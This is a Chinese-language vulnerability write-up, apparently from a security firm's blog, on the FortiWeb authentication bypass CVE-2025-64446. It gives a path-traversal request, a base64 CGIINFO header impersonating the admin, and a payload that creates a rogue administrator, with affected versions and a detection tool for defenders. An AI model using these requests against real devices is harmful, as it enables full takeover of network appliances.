当模拟功能被用于模拟用户(Fortinet FortiWeb 身份验证绕过 CVE-2025-64446)
互联网再次硝烟四起,我们都获得了前排观战席——一个坏人,信不信由你,正在做坏事!这种行为的最初预警来自 Defused 的优秀团队。
正如许多人现在所意识到的,一个未命名(且可能已被静默修复)的漏洞正被积极利用,该漏洞影响了许多 Forti 设备(影响范围目前尚不清楚)。对许多人来说,这感觉像是普通的星期二。对另一些人来说,这感觉像是星期一。这样的时刻正是我们存在的意义——一如既往,watchTowr 团队迅速行动,在威胁出现时启动了快速响应流程以支持客户。
漏洞详情
Fortinet 系统管理员若在过去几周里好奇地查看过数据包捕获(作为任何安全设备的管理员通常必须这样做),可能看到过以下请求流经过:
1
2
3
4
5
6
7
8
9
|
POST /api/v2.0/cmdb/system/admin%3F/../.. ../../../cgi-bin/fwbcgi HTTP/1.1
Host: [redacted]
User-Agent: python-urllib3/2.2.3
Accept-Encoding: identity
CGIINFO: eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
Content-Length: 835
Content-Type: application/json
{ "data": { "q_type": 1, "name": "Testpoint", "access-profile": "prof_admin", "access-profile_val": "0", "trusthostv4": "0.0.0.0/0 ", "trusthostv6": "::/0 ", "last-name": "", "first-name": "", "email-address": "", "phone-number": "", "mobile-number": "", "hidden": 0, "domains": "root", "sz_dashboard": -1, "type": "local-user", "type_val": "0", "admin-usergrp_val": "0", "wildcard_val": "0", "accprofile-override_val": "0", "sshkey": "", "passwd-set-time": 0, "history-password-pos": 0, "history-password0": "", "history-password1": "", "history-password2": "", "history-password3": "", "history-password4": "", "history-password5": "", "history-password6": "", "history-password7": "", "history-password8": "", "history-password9": "", "force-password-change": "disable", "force-password-change_val": "0", "password": "AFodIUU3Sszp5" }}
|
虽然许多人可能将其视为互联网垃圾,但它不是——这是一个威胁行为者试图利用一个漏洞(目前未命名且没有ID)的证据,该漏洞允许访问特权管理功能。在上面的例子中,威胁行为者利用该漏洞向目标易受攻击的设备添加了管理账户,作为一种弱持久化机制。需要明确的是,这完全控制了易受攻击的设备。
漏洞本身?据我们所知,它实际上是两个问题:
- 我们可以在URI中看到的路径遍历漏洞
- 通过HTTP请求头
CGIINFO的内容实现身份验证绕过漏洞
Fortinet 是否知情?
过去24小时里,这个问题一直在被追问。
虽然 FortiWeb 8.0.2 的补丁说明没有包含对此漏洞的引用或提及,但我们内部测试实验室的结果显示,8.0.2 神秘地修复了这个神秘的漏洞:
Fortinet 是否意外地、静默地修补了一个漏洞?只有 Fortinet 真正知道。
已知受影响的版本如下(感谢 Orange Cyberdefense 与我们共享信息):
- 8.0: <8.0.2
- 7.6: <7.6.5
- 7.4: <7.4.10
- 7.2: <7.2.12
- 7.0: <7.0.12
- 6.4: <= 6.4.3
- 6.3: <= 6.3.23
更新: Fortinet PSIRT 现已发布其公告并分配了 CVE-2025-64446。
第一步 - 路径遍历
漏洞利用的第一阶段是利用路径遍历。
1
2
3
|
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: 192.168.9.1
Connection: keep-alive
|
如您所见,这相当“简单”——如果URI以有效的 FortiWeb API 路径开头,攻击者就能够遍历到另一个CGI可执行文件。
哪个CGI可执行文件?嗯,只有一个——fwbcgi——所以选择相当简单。
可以使用以下方法快速检查您的 FortiWeb 版本是否受此漏洞影响。
如果请求返回 HTTP 200,则漏洞存在。
如果请求返回 HTTP 403,则漏洞已被修补。
第二步 - FWBCGI
让我们简要解释一下 fwbcgi 二进制文件的工作原理。为了提供背景信息,fwbcgi 提供的主要函数结构如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
[..SNIP..]
cgi_init(v3);
while ( !access("/var/log/debug_cgi", 0) )
sleep(1u);
if ( (unsigned int)cgi_inputcheck((__int64)v4) || (gui_conf_init(), cli_init(), (unsigned int)cgi_auth(v4)) )
{
cgi_output(v4);
}
else
{
cgi_process(v4);
cgi_output(v4);
conf_end();
}
cgi_free(v4);
return 0;
}
|
我们的目标是到达 cgi_process() 函数,该函数包含我们需要访问的所有后端功能。然而,我们和目标之间有两个验证函数:
cgi_inputcheck()
cgi_auth()
两个检查都必须通过(返回0),执行才能继续到 cgi_process()。
实际上,cgi_inputcheck() 非常简单。
cgi_inputcheck() 例程旨在对传入的 HTTP 正文执行非常轻量级的验证。在实践中,其作用仅限于确认内容是有效的 JSON 数据块。
该函数的相关部分如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
__int64 __fastcall cgi_inputcheck(__int64 a1)
{
[..SNIP..]
v1 = (char *)cat_cgi_paths();
snprintf(s, 0x100uLL, "%s%s%s", "/var/log/inputcheck/", v1, ".json");
free(v1);
v2 = fopen(s, "r");
if ( !v2 )
return 0LL; // 文件不存在 - 检查通过
[..SNIP..]
v10 = json_tokener_parse((__int64)v8);
if ( !v10 )
{
// JSON 解析失败 - 检查失败
return 0LL;
}
[..SNIP..]
}
|
这里的逻辑非常宽松:
- 如果相关的
inputcheck 文件不存在(默认情况),该函数立即返回0——验证通过。
- 如果文件确实存在,唯一的要求是正文可以解析为有效的JSON。
因此,任何有效的JSON对象都满足此检查,包括最简单的JSON有效载荷:{}
让我们继续…
第二步 (b) - 通过 cgi_auth() 模拟用户
这里事情变得有趣得多。
虽然您可能期望 cgi_auth() 对调用者进行身份验证,但事实并非如此。相反,该函数实际上提供了一种机制,可以根据客户端提供的数据模拟任何用户。该行为分几个步骤展开:
- 在步骤 [1],函数从 HTTP 请求中提取
CGIINFO 头部。
- 在步骤 [2],该值被 Base64 解码。
- 在步骤 [3],结果被解析为 JSON。
- 在步骤 [4],函数遍历所有 JSON 键并提取几个与用户相关的属性:
username > 目标用户名
profname > 配置文件名称
vdom > 虚拟域
loginname > 登录标识符
这些字段用于告诉 fwbcgi HTTP 请求发送者希望模拟哪个用户。
值得注意的是,FortiWeb 设备上的内置管理员账户具有跨设备一致的属性集——并且这些属性无法修改。
该函数的相关部分如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
__int64 __fastcall cgi_auth(_QWORD *a1)
{
[..SNIP..]
v2 = getenv("HTTP_CGIINFO");
if ( !v2 )
{
message("%s:%d: not include cgi info header\\n", s);
return 0xFFFFFFFFLL;
}
// 解码 base64 HTTP_CGIINFO 头部
cmDecodeB64(v19, 512LL, v2, 0xFFFFFFFFLL); // [2]
v3 = json_tokener_parse(v19); // [3]
[..SNIP..]
// 从解码后的 JSON 中提取用户属性
// [4]
for ( i = *(_QWORD *)(json_object_get_object(v3) + 8); i; i = *(_QWORD *)(i + 24) )
{
v5 = *(const char **)i;
string = (const char *)json_object_get_string(*(_QWORD *)(i + 16));
if ( !strncmp(v5, "username", 8uLL) )
a1[682] = strdup(string);
else if ( !strncmp(v5, "profname", 8uLL) )
a1[683] = strdup(string);
else if ( !strncmp(v5, "vdom", 4uLL) )
a1[684] = strdup(string);
else if ( !strncmp(v5, "loginname", 9uLL) )
a1[685] = strdup(string);
// ... 附加字段
}
// 使用提取的凭据设置登录上下文
// [5]
set_login_context_vsa(a1[685], a1[682], v19, a1[683], v8, 0LL);
domain_id = cmf_shm_find_domain_id((void *)a1[684]);
cmf_set_cur_domain_id(domain_id);
return 0LL;
}
|
一旦所有字段被提取,步骤 [5] 的调用——set_login_context_vsa()——会应用模拟上下文。
从此时起,在 cgi_process() 中执行的所有操作都将以被模拟用户的身份执行。
换句话说——通过提供一个手工制作的 HTTP_CGIINFO 头部,攻击者可以模拟任何用户,包括内置管理员,并继承其全部权限。
太棒了。
利用漏洞
随着两个验证检查都被绕过,利用变得异常简单。要获取管理员权限,我们可以遵循以下流程:
- 创建一个包含内置管理员凭据的 JSON 对象:
1
2
3
4
5
6
|
{
"username": "admin",
"profname": "super_admin",
"vdom": "root",
"loginname": "admin"
}
|
- 对此 JSON 进行 Base64 编码
- 将其放入 HTTP 请求的
CGIINFO 头部中
一旦被 cgi_auth() 处理,易受攻击的设备将欣然模拟提供的用户,并将请求视为具有完全管理权限的已认证请求。
从此时起,所有执行流程都进入 cgi_process(),这是后端逻辑的核心。这意味着攻击者只需提供适当的 JSON 结构即可执行任何特权操作。
例如,以下有效载荷指示设备创建一个名为 watchTowr、密码为 watchTowr 且具有管理权限 (prof_admin) 的新本地用户:
1
|
{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","last-name":"","first-name":"","email-address":"","phone-number":"","mobile-number":"","hidden":0,"comments":"","sz_dashboard":-1,"type":"local-user","type_val":"0","admin-usergrp_val":"0","wildcard_val":"0","accprofile-override_val":"0","sshkey":"","passwd-set-time":0,"history-password-pos":0,"history-password0":"","history-password1":"","history-password2":"","history-password3":"","history-password4":"","history-password5":"","history-password6":"","history-password7":"","history-password8":"","history-password9":"","force-password-change":"disable","force-password-change_val":"0","password":"watchTowr"}}
|
检测特征生成器
由于野外利用正在全球范围内无差别地针对 FortiWeb 设备,我们发布我们的检测特征生成器,以使防御者能够识别其资产中的易受攻击主机。
该生成器可在 https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass 找到。